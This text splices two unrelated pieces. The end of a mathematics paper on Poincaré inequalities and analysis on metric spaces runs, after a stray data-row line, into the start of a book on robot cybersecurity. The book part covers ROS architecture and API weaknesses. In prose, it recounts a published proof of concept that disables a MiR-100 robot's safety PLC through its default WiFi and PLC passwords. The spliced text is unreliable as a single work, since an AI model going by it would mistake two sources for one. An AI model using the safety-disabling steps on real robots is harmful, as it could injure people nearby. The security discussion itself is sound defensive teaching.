$k$-restricted function on a connected open set is constant. When $p
= n = 2$, the property of being $k$-restricted is very close to
quasiregularity. A key difference is that quasiregularity includes a
condition of nonnegative orientation.
Let us say that a linear mapping $A : {\bf R}^n \to {\bf R}^p$
is $k$-restricted if the norm of $A$ is less than or equal to $k$
times the norm of the restriction of $A$ to any hyperplane in ${\bf
R}^n$. Equivalently, $A$ is $k$-restricted if the norm of $A$ is less
than or equal to $k$ times the norm of $A + B$ for every linear
mapping $B : {\bf R}^n \to {\bf R}^p$ with rank one. This is also the
same as saying that the first singular value of $A$ is less than or
equal to $k$ times the second singular value. Thus a
continuously-differentiable mapping is $k$-restricted if and only if
its differential is $k$-restricted at each point, which is exactly the
condition required for the arguments in \cite{s-w} for improved
subharmonicity properties of norms of vector-valued harmonic
functions. It follows that $f : U \to {\bf R}^p$ is $k$-restricted if
and only if the norm of the differential of $f$ at any $x \in U$ is
less than or equal to $k$ times the norm of the differential of $f + a
\, \phi$ for every $a \in {\bf R}^p$ and continuously-differentiable
real-valued function $\phi$ on $U$.
As an extension of quaternionic and Clifford analysis, one
could replace the usual partial derivatives in the coordinate
directions with vector fields with smooth coefficients. The number of
vector fields could even be less than the dimension of the space, in
which event one might ask that the vector fields satisfy the
H\"ormander condition that they and their commutators span the tangent
space at each point. This would imply that functions with vanishing
derivatives in the directions of the vector fields are locally
constant in particular. Note that solutions of tangential
Cauchy--Riemann equations correspond to special classes of
quaternionic and Clifford holomorphic functions associated to suitable
vector fields, at least locally, just as for holomorphic functions and
quaternionic and Clifford analysis in the classical case.
One can also consider versions of quaternionic and Clifford
analysis on metric spaces. Since products of quaternionic or Clifford
holomorphic functions are not normally holomorphic even on Euclidean
spaces, abstract approaches based on algebras of functions do not work
as in the complex case. One might look at $k$-restrictedness of a
function $f$ on a metric space in terms of comparing local Lipschitz
or Sobolev constants for $f$ with their counterparts for $f + a \,
\phi$ when $a$ is a constant vector and and $\phi$ is real-valued.
\section{Spaces with Poincar\'e inequalities}
\setcounter{equation}{0}
If $B$ is a ball of radius $R > 0$ in ${\bf R}^n$, $1 \le p
< \infty$, and $f$ is a real-valued function on $B$, then
\begin{equation}
\Big(\frac{1}{|B|} \, \int_B |f(x) - f_B| \, dx \Big)^{1/p}
\le C(n) \, R \, \Big(\frac{1}{|B|} \, \int_B |\nabla f(x)|^p \, dx\Big)^{1/p},
\end{equation}
where $|B|$ denotes the volume of $B$ and $f_B$ is the average of $f$
on $B$. One might as well suppose that $f$ is continuously
differentiable on $B$, although the inequality also works when $f$ is
a locally integrable function on $B$ with distributional first
derivatives in $L^p(B)$. The limiting case $p = \infty$ corresponds
to the statement that a Lipschitz condition is implied by a bound for
the gradient.
Juha Heinonen and I posed some questions in \cite{h-s} about
whether suitable versions of these classical Poincar\'e inequalities
on other spaces would imply that the spaces enjoy some sort of
approximately Euclidean or sub-Riemannian structure. These questions
were answered negatively by remarkable examples of Bourdon and Pajot
\cite{b-p} and Laakso \cite{l1}. Perhaps it is better to say that
they answered positively the question of whether there could be a lot
of spaces of this type. In particular, there are spaces of this type
with any Hausdorff dimension greater than or equal to $1$, and every
such space with at least two elements has Hausdorff dimension greater
than or equal to $1$ because of connectedness.
I would like to suggest that there are positive results along
the lines of the previous questions with additional hypotheses. There
is a nice theorem of Berestovskii and Vershik \cite{b-v} concerning
sub-Riemannian geometry of metric spaces under somewhat different
conditions, and one may be able to build on their approach. Cheeger's
work \cite{che} on differentiability of Lipschitz functions almost
everywhere on spaces with Poincar\'e inequalities ought to be an
important step in this direction as well. It may be relatively easy
to deal with spaces on which there is sufficient ``calculus'', and
there can be different amounts of structure corresponding to different
degrees of calculus.
It can be helpful to look at nilpotent Lie groups and
sub-Riemannian spaces more closely in order to understand the general
situation better. One can also simply start with a connected smooth
manifold $M$ and some smooth vector fields $X_1, \ldots, X_n$ on $M$
which satisfy the H\"ormander condition that the tangent space of $M$
at every point is spanned by the $X_\ell$'s and their successive Lie
brackets. The smooth functions on $M$ as a smooth manifold would be
the same as the smooth functions on $M$ with respect to $X_1, \ldots,
X_n$, but the two structures can measure smoothness in very different
ways. A vector field on $M$ is a first-order differential operator in
the usual sense but may be considered as an operator of higher order
with respect to the $X_\ell$'s. A vector field which can be expressed
as the bracket of $r$ of the $X_\ell$'s in some way would typically be
considered a differential operator of order $r$ with respect to the
$X_\ell$'s. In particular, one might start with a smooth distribution
$\mathcal{L}$ of linear subspaces of the tangent spaces of $M$, which
contain the $X_\ell$'s and are spanned by them at every point. The
H\"ormander condition is then a maximal non-integrability condition
for $\mathcal{L}$, at least if $\mathcal{L}$ consists of proper
subspaces of the tangent spaces of $M$.
However, that brackets of the $X_\ell$'s can be defined at all
can be considered as an important integrability condition for the
corresponding sub-Riemannian space. To have any nontrivial vector
fields on a metric space at all is already quite significant, in the
sense of first-order differential operators acting on Lipschitz
functions as in \cite{nw3}, for instance. Even if there are a lot of
vector fields on metric spaces with Poincar\'e inequalities by
\cite{che}, it may not be clear how to deal with their brackets. In
the context of complex-analytic metric spaces, it would be interesting
to know whether brackets of complex vector fields of $\partial /
\partial \overline{z}$ type are of the same type. This is the
classical integrability condition for an almost-complex structure on a
smooth manifold.
There are classical results about integrating vector fields to
get nice mappings on manifolds. Extra compatibility conditions are
required on sub-Riemannian spaces to get mappings which respect the
geometry in appropriate ways. Even for nilpotent Lie groups with
sub-Riemannian structures that are invariant under left or right
translations by definition, there may only be finite-dimensional
families of mappings with suitable regularity. In some cases there
may be no reason for a metric space with Poincar\'e inequalities to
have any nontrivial continuous families of mappings which respect the
geometry or the topology. On complex-analytic metric spaces, it would
be interesting to consider holomorphic vector fields and the
possibility of integrating them to get holomorphic mappings.
As another basis for comparison, suppose that $M$ is a smooth
manifold and that $V$ is a continuous vector field on $M$ which may
not be smooth. There are still results about existence of integral
curves for $V$ in $M$, but uniqueness might not hold without more
information about the regularity of $V$. Uniqueness can also fail for
smooth vector fields on singular spaces. Similarly, let $L$ be a
Laakso space, with a projection from the Cartesian product of a Cantor
set $C$ and the unit interval $I$ onto $L$. One can follow the
standard vector field on $I$ and move in the positive direction at
unit speed, and do the same on each parallel copy of $I$ in $C \times
I$. Because of the identifications between the copies of $I$ in $L$,
one loses uniqueness of the trajectories in $L$. It seems interesting
to consider metric spaces with vector fields more broadly, including
constructions like Laakso's with different patterns of
identifications. One might wish to use probability theory to treat
this type of branching, i.e., to follow a vector field with a
stochastic process.
On Laakso's and related spaces, there are nice classes of
regular functions which are locally equivalent to smooth functions on
the unit interval and constant in the direction of the Cantor set. A
regular vector field can be defined as a regular function times
ordinary differentiation in the direction of the unit interval. A
regular vector field applied to a regular function is a regular
function, and the bracket of two regular vector fields makes sense and
is a regular vector field. Even for regular functions, many of the
usual problems are still present. The branching can take place on
larger regions.
Suppose now that $M$ is a smooth manifold equipped with some
sort of sub-Riemannian structure. If $V$ is a vector field on $M$
which is smooth with respect to the ordinary smooth structure on $M$,
then one can integrate $V$ to get smooth mappings on $M$ which are at
least continuous with respect to the sub-Riemannian geometry. If $V$
is admissible for the sub-Riemannian structure, then the integral
curves for $V$ are automatically admissible. If $V$ is admissible and
$[V, X]$ is admissible when $X$ is, then the mappings on $M$
associated to $V$ are compatible with the sub-Riemannian structure.
This is basically a regularity condition for $V$ relative to the
sub-Riemannian structure, analogous to the classical Lipschitz
condition for the coefficients of a vector field.
Sometimes a vector field is obtained from the gradient of a
function. This could be derived from a pairing between functions
which includes a pointwise pairing between their gradients, at least
implicitly. Such a pairing might be positive and symmetric, like a
Riemannian metric, or antisymmetric, as for a symplectic structure.
On a Cantor set represented as the Cartesian product of a
sequence of finite sets, there are a lot of transformations obtained
from permutations in the individual coordinates, including small
displacements from permutations in coordinates with large indices. It
is not so easy to have nontrivial small displacements on some locally
connected spaces, because of intricate topological structure. On
spaces with Poincar\'e inequalities, one can also try to study small
displacements in terms of vector fields, perhaps on associated tangent
objects. At any rate, it seems interesting to look at group actions
on spaces with Poincar\'e or related inequalities.
I would like to think of a metric space with Poincar\'e,
Sobolev, or similar inequalities as a kind of generalized manifold.
One can look at this as a variant of \emph{Cantor manifolds}
\cite{h-w}, which are spaces that are not disconnected by subsets of
topological codimension $\ge 2$. This is especially close to
isoperimetric inequalities and other estimates of the measure of a set
in terms of the size of its boundary.
A lot of analysis related to singular integral operators and
classical spaces of functions is available in the vast setting of
spaces of homogeneous type \cite{c-w-1, c-w-2}. This includes Cantor
sets and snowflake spaces, which are important examples with many
applications, and which also have nonconstant functions with vanishing
gradient. As a next step, one can try to integrate local Lipschitz
conditions to estimate the behavior of a function. With Poincar\'e or
Sobolev inequalities, one has stronger forms of calculus involving
integrals of derivatives.
Notions of generalized manifolds have been studied extensively
in algebraic topology. After all, homology and cohomology are also
ways of doing ``calculus'' on broad classes of spaces. One of the
simplest of these notions is that of polyhedral pseudomanifolds. More
sophisticated theories deal with intermediate dimensions in the space.
Even for topological manifolds, there can be different types
of structures with different versions of calculus. A manifold may be
equipped with a smooth structure, for instance, or a piecewise-linear,
Lipschitz, or quasiconformal structure more generally. It may be
represented as a polyhedron, which might or might not have
piecewise-linear local coordinates, or coordinates of moderate
complexity. Using sub-Riemannian geometry, a manifold can be a
fractal and still have Poincar\'e and Sobolev inequalities.
The apparent irregularities of some spaces with Poincar\'e or
Sobolev inequalities could be attributed to using classical geometry
instead of something like noncommutative geometry. With
noncommutative geometry, one can try to avoid complicated patchworks
of interconnections and gain local or infinitesimal symmetries.
Spaces with some version of calculus are basically extensions of
smooth manifolds whether they are based on classical or noncommutative
geometry, and one might as well try to work with both.
In Connes' theory \cite{cns}, commutators between singular
integral operators and multiplication operators are like derivatives
and the Dixmier trace corresponds to integration. The Dixmier trace
is an asymptotic version of the trace that applies to slightly more
than the usual trace class operators and vanishes on trace class
operators. These asymptotic properties are important for localization
in the theory. One-dimensional spaces are somewhat exceptional
because of unusual regularity of commutator operators.
Of course, one-dimensional sets are exceptional in more
classical ways as well. Connectedness plays a large role in this. A
nice historical survey related to curvature can be found in the
introduction to \cite{ppl}. Some amazing discoveries about singular
integral operators and complex analysis are explained in \cite{m-m-v}.
At any rate, the general area of analysis on metric spaces has
seen a lot of activity, and it seems to me that there is plenty of
room for more.
|
1,477,468,750,078 | arxiv | \chapter{Introduction to Robot Security}
\label{c-cyberphysical-systems-in-robotics}
Robotic technology has been around for many years now with its main application being
in automation where millions of robots have been deployed over the past
decades.
In recent years, inflexible automation is starting to shift out of
focus of the robotics research and we move towards using robots in flexible
manufacturing (marching towards lot size 1) and intralogistics. Service
robots are set out to pervade also non-industrial areas like healthcare as
well as public and private spaces. The gain in flexibility and capabilities of modern robots has been largely fuelled by the convergence of classical computing and networking technology with robotics.
The new generation of robots cannot
perform their tasks without being connected to the outside world. Flexible
manufacturing and intralogistics robots need to be connected to manufacturing
execution systems and fleet management services. Service robots are supposed
to provide more value by being connected to the cloud to retrieve commands
and updates. While the new capabilities make the areas of application for robots broader, they also become susceptible to external manipulation. This new threat from the cyber world has not yet been sufficiently addressed up to now.
In this book, we review the causes of robot insecurity also reflecting the underlying causes like complexity and market pressure. We present the vulnerabilities and potential fixes of the most important software framework in robotics. Then, we describe modern approaches to securing robots including processes and standards but most importantly also present the potential benefits promised by the introduction of quantitative security methods.
\section{The Need for Cybersecurity in Robotics}
A robot is in general a complex machine which is by itself difficult to design, build and program. The main focus when building a robot is in making it reliable and safe. Security is often of a lower priority since it adds even more complexity to building the robot. In addition, cybersecurity has traditionally not been a concern when designing or using robots since classical industrial applications of robots did not require any connectivity to the outside. With the current trend towards connected robots, however, a technology that is not fit for this trend meets all the threats that come with connecting robots. Generally speaking, today's robots are easy prey even for less skilled attackers since security achievements that have been successfully used in the {IT} area in the past three decades like firewalls, hardened endpoints, or encrypted communication are typically not part of a robotic system. In addition, a security-oriented mindset is also hardly taught in the education of roboticists.
\subsection{What are special requirements for cybersecurity in robotics?}
In general, cybersecurity for robotics draws from the methods of {IT}-security. However, there are specialties in robotics, that need additional consideration~\citep{vilches2019introducing}. First and most obviously, robots are cyber-physical systems and as such, they have a representation in the physical world. This yields two security-relevant aspects. First, robots can be physically manipulated. Too often, we find exposed network- or USB-ports in robots that can easily be exploited by an attacker. This is especially problematic with mobile robots that move autonomously in little-controlled areas. Second, robots can have significant impacts on the physical safety of persons around them. In general, the regulations for robot safety are very strict to prevent any human harm by a robot. However, much of the required safety functions can be attacked remotely thus, effectively rendering the safety methods useless. Despite this, safety regulations do not (yet) require security measures to be put into place. Section \ref{sec:mir_poc} shows a {PoC} attack that demonstrates the seriousness of this issue.
Robots that are used in automation are also aimed at high availability. This
means that they should preferably non-stop. Thus, as it is common in {OT},
industrial robots are not commonly supplied with regular updates that could
fix vulnerabilities.
\subsubsection{A PoC to remotely disable a robot's safety subsystem}
\label{sec:mir_poc}
A practical attack on a robot's safety subsystem has been presented in \citep{taurer2019MiRSafety}. The target of the PoC was a mobile robot for transport tasks in the industry. The safety system of the robot is responsible to stop the platform before it hits an obstacle. This is realized using safety-rated laser scanners that are connected to a safety {PLC} that cuts the power to the motors in case an object is too close to the robot. Figure \ref{fig:mir_internals} shows a logical overview of the aforementioned components and their interconnections.
\begin{figure}
\centering
\includegraphics[width=0.6\textwidth]{figures/mirInternals.png}
\caption{A logical overview of the internals of a MiR-100 robot (from \citep{taurer2019MiRSafety})}
\label{fig:mir_internals}
\end{figure}
Due to several misconfigurations and negligence of standard security
procedures (like changing default passwords), it is possible to retrieve,
manipulate and re-upload the safety program logic running on the dedicated
safety {PLC} in the robot. The robot itself hosts a WiFi hotspot that
uses a default password. Access to the WiFi also provides access to all
connected devices since no network separation policy is in place. Thus, an
attacker could easily gain access to the robot's internal network. The safety
{PLC} is connected to the robot's internal network. During its
integration, the default password required to upload a program to the
{PLC} was not changed. The attacker can access the {PLC} via WiFi and
download the program stored on it. After a simple change that renders the
laser scanners' inputs useless, the program can be re-uploaded. From this
point on, the robot will still detect obstacles but it will not stop for
them. Since those robots can carry up to 250kg, they pose significant
health risks when they collide with a person. Note, that in course of the modifications, not only the safety laser scanners but also the emergency stop can be rendered useless.
The vulnerability described has been acknowledged by the robot manufacturer and was fixed in the meantime. Still, it shows how easily robots can be attacked and that establishing security practices in robotics is highly necessary.
\section{Overview of Security Challenges and Solutions}
Robotic security adds a dimension of physical interaction to the requirements of general information security. Contrary to classical protection of data from theft, manipulation, etc., a physical consequence of a data breach is usually not in the center of attention there, but not so for robotics. The intended close contact, up to collaboration, with humans, adds its own set of security requirements beyond the classical CIA+ (confidentiality, integrity, availability, and authenticity), and also induces ethical challenges. Those get more involved by the fact that robot systems are often heterogeneous, making the assignment and taking of responsibilities difficult in light of many actors being involved.
This book is focused on the technical possibilities of implementing security, reaching up to industrial standards, and best practices to follow when building a secure robot. Chapter \ref{sec:cyber-issues-et-al} sets the ground by reviewing the {ROS}\xspace as a popular (de facto standard) platform to run robot systems, thereby pointing out some threats and countermeasures that can be addressed ``classically'' (i.e., using standard security mechanisms). The distributed nature of robotics, however, calls for a broader view extended to cover the interaction of possibly many components, which has its challenges. Among them are the necessary division of views (dividing data layers vs. computational graphs, etc.) and the treatment of multi-agent systems as groups in which possibly many players can become hostile or otherwise deviate from the intended orchestration. We discuss security along these lines in Chapter \ref{chapter:security-networked-robotic-systems}. Experience with vulnerabilities and successful attack reports have led to the development of various tools and methods to help designers of a robot system with testing and general security management, and Chapter \ref{sec:advanced-security-design} is devoted to an introduction and overview of these practices. Conditional on an understanding of the overall diversity and interdependency in robot systems, partially gained with help of tools, but also proper design processes (e.g., DevSecOps), one can proceed further by defining mathematical models to quantify and thereby optimize security systematically, as an account for the tradeoff between investment, time to market pressure, and the security achievable under budget and time limitations. This model-based economic approach to security, see Figure \ref{fig:theme}, including the technical and organizational practices relative to security cost-benefits, is what game-theoretic techniques can help with.
\begin{figure}
\centering
\includegraphics[width=0.8\textwidth]{figures/theme.pdf}
\caption{This book investigates challenges, quantitative modeling and the practice of cybersecurity issues in robotic systems.}
\label{fig:theme}
\end{figure}
Chapter \ref{sec:game-theory-intro} provides a primer to game theory, starting with an introduction by the example of a game describing a penetrating adversary versus a defending security officer, to illustrate the overall idea of how mathematical games are applicable to security. From this, we take a deeper dive into the variety of game-theoretic models designed for security, and how to combine them into bigger models of robot systems. The diversity and heterogeneity of a robot system are thereby matched with the (equal) diversity of game-theoretic security models tailored to many different scenarios of attack and defense. Chapter \ref{sec:game-theory-intro} is meant as a starting point here.
We remark that this book does not intend to cover non-technical matters like ethics or the generalities of development processes, staff recruiting and human resources security, or legal issues like liabilities or insurance. Without doubting their relevance for robot security, their discussion and treatment are out of our scope here.
A survey of all known threats is not the focus of this book.
We refer the reader to the lot of existing work in this direction, partly coming from other domains (as provided by \cite{heartfield_taxonomy_2018}, \cite{Simmons2009AVOIDITAC} and others) but also related explicitly to robotics, such as the work of \cite{dekoulis_cybersecurity_2017} and the \cite{open_source_robotics_foundation_inc_ros_2021}. Since robots are special cases of general distributed cyber-physical systems, threat taxonomies from this larger area apply well for robotics too. Furthermore, risk management standards like ISO31000 or IEC-62443, discussed in Section \ref{sec:standards}, provide threat categorizations and ways to systematically identify, classify, and address cyber-security along all virtual and physical aspects. We thus refrain from deep dives into taxonomies here, for the sake of discussing a useful practical tool being the classification of threats along with a common set of attributes to rank threats and vulnerabilities in terms of severity, efforts to fix, and other security management related aspects. We pay explicit attention to such methods, specifically the {RVSS}~\citep{RVSS} as an extension to the popular {CVSS}, later in Section \ref{sec:tvs}.
\section{Need for Quantitative Methods}
A robot is a system of systems. One that comprises sensors to perceive its environment, actuators to act on it and computation to process it all and respond coherently to its application \citep{vilches_2020}. We can divide robotic systems into two layers, as illustrated in Fig. \ref{fig:CyberPhysical}. One is the {OT} layer which consists of devices and components that directly monitor and control the mechatronic processes and events, such as autonomous vehicles, robotic arms, and humanoids. The other one is the {IT} layer which consists of information and communication devices that collect, communicate, and process data, such as computer networks, cloud computing, and servers. Many robotic system designs often view safety as one of the major {OT}-level system criteria. The design for safety is an integral part of the systematic methodologies in the design process. On the contrary, cybersecurity at the {IT}-level is not yet a key factor considered in the design of robotic systems.
When security issues arise, add-on solutions such as patching and firewalls are introduced to harden the system security. However, these solutions can be easily evaded by a sophisticated attacker as we have seen in recent {APT}. An attacker can leverage social engineering, stay stealthy in the system for a prolonged period of time, and learn the system configurations to acquire credentials and escalate privilege to reach the asset. The defective {IT}-security is a potential cyber hazard for {OT}-safety.
\begin{figure}
\centering
\includegraphics[width=0.8\textwidth]{figures/CyberPhysical.png}
\caption{The integration and interaction between {IT} and {OT} in robotics}
\label{fig:CyberPhysical}
\end{figure}
It is essential to see that {OT}-level safety and {IT}-level security are intertwined. The ignorance of {IT}-security will enable an attacker to take over the control of {OT} and create human-induced devastating incidents. Reversely, the goal of {IT}-security is to provide the necessary support to {OT} to provide performance assurance and dependability. It is insufficient to focus merely on {OT}-level safety issues and adopt perfunctory solutions to protect the {IT} from advanced attacks.
Quantitative metrics and frameworks play an essential role in a formal understanding of the {IT}/ {OT} interdependencies and the development of risk assessment tools and security solutions.
Game theory is a promising scientific method to address this need. Game theory has a long history since the 1950s and a rich set of analytical and computational tools that can be used to capture the competitive and strategic behaviors between an attacker and a defender. The solid mathematical foundation of game theory provides a rigorous framework to analyze and predict the outcome of the interactions between an attacker and a defender.
Game theory provides a theoretical underpinning for the analysis of this tradeoff between security and performance under a prescribed set of attack models. A standard normal-form game is composed of three elements: players, action sets, and utility functions or preferences over action sets. The action sets can encode the system constraints, while the utility function can capture the {IT} and {OT} performances and their interplay. The interdependencies between the {IT} and the {OT} can be formally described by specifying the preferences over the set of joint IT/OT configurations and designs.
Not only does the game framework encode the key design features, the equilibrium concept of games but also provides a predictive outcome of the interactions, where no parties have the incentive to deviate from their actions unilaterally. The analysis of the equilibrium solution enables the quantitative risk assessment in a strategically adversarial environment. In addition, the analysis of equilibrium strategies of the game leads to a new paradigm of security solutions.
Instead of aiming for a perfect security solution, which is either cost-prohibitive or practically impossible, game theory enables the design of best-effort {IT}-and- {OT}-security by taking into account the security objectives of the systems, the system resource constraints, and the attacker's capabilities.
Modern extensions of the game-theoretic framework by including uncertainties, epistemic modeling, and learning dynamics enable the creation of sophisticated defense mechanisms such as autonomous and adaptive strategies, moving target defense, and cyber deception. The defense mechanisms can go beyond the traditional manual and static configurations to dynamic, data-driven, and automated operations of defense. In addition, the game models can be sequentially composed to capture the multi-stage and multi-phase nature of {APT}. Each game model represents a modularized interaction in a subsystem. The composition of multiple games pieces together a holistic view of the multi-dimensional dynamic interactions in the entire system, which include the ones between the defender and the attacker, as well as the ones between subsystems. The holistic game is also called games-in-games, where one game is nested in the other games. This structure enables the defense to localize the attack behaviors by zooming into a local subsystem and optimize the system-wide performance by zooming out to view the system holistically.
Chapter \ref{sec:game-theory-intro} will first provide an introduction to game-theoretic methods by an example of an attack-graph game. The second part of the chapter will present an overview of security games and their applications. One important class of games that are useful to address sophisticated attacks is the multi-stage and multi-phase security game. Game models for multiple subsystems at different phases can be composed together to address the complex security problems holistically. The chapter presents sever to elaborate on game-theoretic methodologies. One case study presents a cyber-physical signaling game to develop an impact-aware trust mechanism that can reject high-risk inputs and mitigate the physical damages. The second case study introduces a jamming game between a jammer and a team of robots that aim to reach consensus through mutual pursuits and communications. A multi-stage game is formulated to analyze the equilibrium and develop anti-jamming strategies.
\chapter{Cyber Issues, Security Architectures and {ROS}\xspace Vulnerabilities}\label{sec:cyber-issues-et-al}
Many technological advancements of
the past decades have now also converged in the field of robotics. Mainly,
the large-scale use of general-purpose computing techniques (hardware,
operating systems, and software) has dramatically sped up the development and
increased the flexibility and potential of robots. This trend counters the approach of robot manufacturers of the past decades to aim for locked-in, all-in-one solutions comprising the robot, its controller, and the corresponding programming environment. As now robotics can be approached with methods from general-purpose computer software development, also the advanced approaches developed therein are starting to dominate. In modern robotics, one
framework dominates the development efforts like no other.
\section{The Robot Operating System}\label{sec:ros}
The
{ROS}\xspace~\citep{quigley2009ros} is a middleware system that has become the most
popular platform for robot development. It
coordinates multiple, distributed functional units called nodes. Nodes are
individual processes that have their own lifecycle and are orchestrated into
an application. The central entity for coordination and brokerage is the {ROS}\xspace
master. This is a dedicated process running on one of the hosts in the {ROS}\xspace
network which has a directory of all nodes and the data they provide or
consume.
At its core, {ROS}\xspace supports the publish-subscribe communication pattern. This pattern can be used to decouple components from each other and use well-defined interfaces to connect them. Publish-subscribe in {ROS}\xspace is topic-based i.e., {ROS}\xspace creates a virtual bus for each topic that subscribers can attach to receive the published information. As an example, a {ROS}\xspace sensor node that retrieves images from a camera will publish this information on a specific topic. All nodes that require this data can subscribe to it. For both, the publisher and the subscriber it is transparent who the respective communication partner is exactly. Thus, it is easy to exchange nodes in a {ROS}\xspace network as well as it is easy to add new ones or re-purpose existing implementations to new applications. On startup, a publisher node will contact the master and declare which topics it publishes. Similarly, a subscriber will tell the master which topics it requires. As soon as there is a publication-subscription match, the master contacts the subscriber with a list of potential publishers for its topic. The subscriber will then contact the publisher and further communication is done bilaterally between the two nodes without the inclusion of the {ROS}\xspace master. In this communication, {ROS}\xspace supports TCP as well as UDP (called henceforth ROSTCP and ROSUDP respectively).
In addition to publish-subscribe, {ROS}\xspace supports client-server-style communication using services. A service has a unique name and can synchronously be queried by a client. A service can be used to e.g., retrieve or set a piece of specific one-time information like a state or a configuration. The {ROS}\xspace master keeps an index of all registered services which can then be queried by a service client to lookup connection information for a specific service.
The third, logical, communication pattern in {ROS}\xspace are actions. Actions are used to encapsulate long-running, preemptable tasks like sending a mobile robot to a certain location in a room. Actions are realized using five different publish-subscribe topics. The action goal is sent from the action client to the action server to trigger the action. The action server will provide a state and feedback to the client while the action is running (e.g., the information that the action is being executed along with the current location of the mobile base while it is moving). A result topic will inform the client of the final outcome (e.g., the final position of the robot). A dedicated cancel topic can be published by the client to terminate the ongoing action. Since actions are wrapped around the publish-subscribe topic, the aforementioned brokerage process between publisher, subscriber, and {ROS}\xspace master is also performed for each of the action topics.
Besides its inherently distributed---and thus scaleable---nature, {ROS}\xspace also provides an extensive and ever-growing package repository of robot drivers, algorithmic packages and tools that greatly facilitate the development of robot applications.
The main programming languages in the {ROS}\xspace environment are C++ and Python. But since the {ROS}\xspace communication interfaces are defined independently of any language, there are various other implementations e.g., for Java, C$_{\#}$, JavaScript, and others. While this results in broader support for {ROS}\xspace, it also causes the implementations to sometimes diverge from each other (not even C++ and Python versions are identical in functions) and have compatibility issues. This might also be a factor in the reluctance of the {ROS}\xspace developers to fix the vulnerabilities mentioned in the next sections. In order to fix those, changes to the communication structure would be required in all existing implementations causing immense efforts.
As of 2021, according to the official wiki\footnote{\url{https://robots.ros.org/}}, {ROS}\xspace is compatible with around 170 different robots or robot series (e.g., a whole range of ABB robots
is subsumed into one entry)
for a wide variety of purposes including industrial manipulators, mobile, aerial and marine robots.
\section{Vulnerabilities of the Robot Operating System}
As of its initial version, {ROS}\xspace was not designed with security in mind~\citep{mcclean2013preliminary}. The underlying publish-subscribe mechanism is naturally open in both directions, letting all components of a system register as publishers, or subscribers, or both. The absence of mechanisms to restrict the registration under any of the two roles creates flexibility when it comes to adding, removing, or replacing components in a system, but at the same time induces the obvious likewise vulnerability of malicious components or messages coming in easy.
To see where and how security in {ROS}\xspace looks like, let us adopt the abstract view on {ROS}\xspace being a communication platform over which three basic classes of entities talk to each other \citep{koubaa_penetration_2020}:
\begin{itemize}
\item the {ROS}\xspace master, who manages parameters, service registration, and other stuff, as a central node with essentially a unique (physical) appearance
\item {ROS}\xspace talkers, which can be components of diverse nature and physical form, unified by the common behavior of publishing topic data,
\item and {ROS}\xspace listeners, which like the talkers are not bound to a specific physical or logical appearance, and whose role is the reception of topics on which the talkers publish.
\end{itemize}
The term \emph{node} will hereafter comprise components from all three of the above types.
The division of entities as outlined above implies a diverse {API}, whose division is not according to the above classes of entities, but rather w.r.t. the kind of action. We distinguish {API} for the master from those of \emph{slave nodes}, comprising publishers and subscribers, and as a third type, the \emph{parameter {API}}, whose purpose is the management of global configuration parameters. The associated server instance for the parameter {API} runs along with the {ROS}\xspace master as a centralized service. Having this central point allows for notifying nodes about changes in parameters by invoking callbacks for namespaced parameter keys, which nodes may register for.
\paragraph{Master {API}:}
The master's role is to act as a registration authority, perhaps also as an {IDM}, but essentially is there to manage parameters and services existing in the system. As such, it offers at least the following types of calls\footnote{\url{http://wiki.ros.org/ROS/Master\_API}}:
\begin{itemize}
\item Registration and unregistration of subscribers, publishers, and services
\item Directory services (lookups) for nodes and services, which require or return {URI} of the respective nodes or services, according to \citep{masinter_uniform_2016}
\item Queries to retrieve the internal state of the master, to get
details of the entire topology of the {ROS}\xspace system, including all publishers,
subscribers, and services, and deep details thereof.
\end{itemize}
\paragraph{Parameter {API}:}
The parameter server is a part of the {ROS}\xspace master. It provides nodes with pre-defined values for configuration items. This central storage makes it easier to configure and reconfigure a {ROS}\xspace system. As expected, the functions provided herein are\footnote{\url{http://wiki.ros.org/ROS/Parameter\%20Server\%20API}}
\begin{itemize}
\item \texttt{set}ters and \texttt{get}ters for parameters,
\item but also the possibility to \texttt{delete} parameters,
\item queries about existence (\texttt{has}), search for (\texttt{search}), or listing (\texttt{list}) the currently known parameters,
\item and finally (and most importantly for attackers), the ability to be notified upon parameter changes. That is, a node can call \texttt{subscribe} to provide a callback routine (inside the node) that the parameter server will call upon every change of the parameter value. Of course, calling \texttt{unsubscribe} terminates these notifications.
\end{itemize}
\paragraph{The Slave {API}}
Both, publishers and subscribers, maintain this {API}\footnote{\url{http://wiki.ros.org/ROS/Slave\_API}} for receiving callbacks from the master, negotiating connections with other nodes, and do system calls for orchestration and monitoring. In detail, the {API} provides the following:
\begin{itemize}
\item \texttt{update} callbacks to notify subscribers about activities by publishers, or changes of parameters
\item \texttt{request} calls for topic transport information. Since the update callback is merely a notification, it remains the subscriber's duty to actively contact the publisher for details on the topic, establish a connection over ROSTCP or ROSUDP, and open a separate channel and socket for the data transmission.
\item \texttt{get}ters for various purposes, mostly related to troubleshooting and status queries (like subscriptions, publications, {URI}, etc.)
\item \texttt{shutdown}, as a signal for a node to self-terminate.
This signal may be required by the master to resolve namespace conflicts or to replace malfunctioning nodes with others
or new ones. This latter purpose of
``self-healing'', however, requires an explicit node health monitoring that
{ROS}\xspace does not ship with, so it must be established independently and in
addition.
\end{itemize}
The latter two classes of {API} calls are particularly useful for hacking {ROS}\xspace, since the getters for debugging and troubleshooting deliver rich information about the system, and the shutdown signal has an obvious use if it is not restricted to the master, and no other node.
\section{Securing the {API}}\label{sec:securing-the-api}
The bottom line is that all {API} calls need security in at least the
following aspects:
\begin{description}
\item[Integrity:] almost self-explanatory, it is necessary for a node when transmitting or receiving data to safely rely on its correctness. From a cryptographic perspective, we distinguish intended from unintended modifications, and (cryptographic) checksums can counteract only the latter case of modification. Thwarting adversarial influence on parameters needs stronger concepts, but can in many cases be built into an authentication mechanism.
\item[Authenticity:] once a connection has been established, it is vital for both parties to assure the other entity's identity and, more importantly, its eligibility for the intended purpose of the connection. For example, if a component registers as a sensor, there is no assurance for a subscriber that whatever information sent out is really coming from a device that \emph{is} a sensor, or not. Plain authenticity is not enough here, since understood as the verification of identity, the cryptographic assurance that device $X$ published on topic $T$ is in itself no certificate that $X$ is capable of speaking about $T$. Such assurance calls for an independent trusted party that certifies a component as serving the claimed purpose or filling the presumed role, whether this may be the role of a sensor, an actor, some general device, and -- perhaps most importantly -- the {ROS}\xspace master itself.
